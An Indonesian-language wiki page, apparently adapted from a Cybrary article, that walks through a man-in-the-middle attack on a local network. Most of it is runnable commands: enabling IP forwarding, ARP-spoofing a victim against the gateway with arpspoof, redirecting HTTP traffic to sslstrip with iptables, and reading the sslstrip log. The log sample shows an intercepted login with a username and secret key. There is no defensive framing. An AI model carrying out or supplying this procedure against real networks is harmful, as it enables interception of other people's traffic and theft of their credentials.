View source for MITM: sslstrip

Sumber: https://www.cybrary.it/0p3n/sslstrip-in-man-in-the-middle-attack/


Langkah untuk melakukan serangan menggunakan ssltrip adalah sebagai berikut.

Cek routing,

 route -n
 netstat -nr

==aktifkan ip forwarding==

enable forward paket,

 echo 1 > /proc/sys/net/ipv4/ip_forward
 sysctl -w net.ipv4.ip_forward=1

==arp spoofing==
 
lakukan arpspoof,

 arpspoof -i eth0 -t victimip routerip

 arpspoof -i eth0 -t 192.168.0.106 192.168.0.100
 192.168.0.106 = ip victim
 192.168.0.100 = ip router / gateway / server yang akan di monitor

Cek apakah berhasil, arp -n di 192.168.0.106

 arp -n
 Address                  HWtype  HWaddress           Flags Mask            Iface
 192.168.0.13             ether   ec:a8:6b:f8:2e:fc   C                     enp3s0
 192.168.0.223            ether   d0:04:92:19:cc:38   C                     enp3s0
 192.168.0.7              ether   4c:e6:76:1f:15:4c   C                     enp3s0
 192.168.0.100            ether   66:31:65:39:62:38   C                     enp3s0

Setelah arpspoof di jalankan, lakukan arp -n

 arp -n
 Address                  HWtype  HWaddress           Flags Mask            Iface
 192.168.0.13             ether   ec:a8:6b:f8:2e:fc   C                     enp3s0
 192.168.0.146            ether   08:00:27:45:7a:dc   C                     enp3s0
 192.168.0.223            ether   d0:04:92:19:cc:38   C                     enp3s0
 192.168.0.7              ether   4c:e6:76:1f:15:4c   C                     enp3s0
 192.168.0.100            ether   08:00:27:45:7a:dc   C                     enp3s0

Perhatikan MAC address 192.168.0.100 berubah :) ..

==redirect packet==

redirect inbound traffic ke port 80 (http), menuju port 8080 (sslstrip).

 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080


Untuk redirect HTTPS (port 443) kayanya masih bermasalah baik untuk sslstrip maupun mitmproxy

==sslstrip==

Jalankan sslstrip agar listen pada port 8080

 cd ~
 sslstrip -l 8080 (untuk kali linux)
 python sslstrip.pl –l 8080 (untuk backtrack)

==lihat log==

hasil penyadapan bisa dilihat di sslstrip.log, misalnya,

 cd ~
 tail sslstrip.log
 more sslstrip.log 

 2017-04-04 17:07:16,065 POST Data (192.168.0.100):
 login_username=onno&secretkey=123456&js_autodetect_results=1&just_logged_in=1


==Crashing==

Entah kenapa sslstrip ini suka crash :( ...

Solusinya, coba tambahkan > /dev/null

 sslstrip -k -f -l 10000 2> /dev/null


==Referensi==

* https://www.cybrary.it/0p3n/sslstrip-in-man-in-the-middle-attack/
* https://www.youtube.com/watch?v=rMb6V9PTeg4